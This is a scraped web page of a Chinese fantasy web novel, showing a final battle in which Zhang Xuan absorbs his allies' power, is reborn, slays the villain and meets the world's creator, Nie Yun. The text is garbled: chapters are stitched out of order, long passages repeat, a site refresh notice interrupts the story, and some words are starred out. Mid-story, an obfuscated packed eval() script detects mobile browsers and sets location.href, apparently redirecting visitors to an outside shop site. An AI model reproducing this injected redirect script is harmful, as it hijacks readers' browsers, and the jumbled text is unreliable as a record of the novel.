张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782363|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百九十一章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 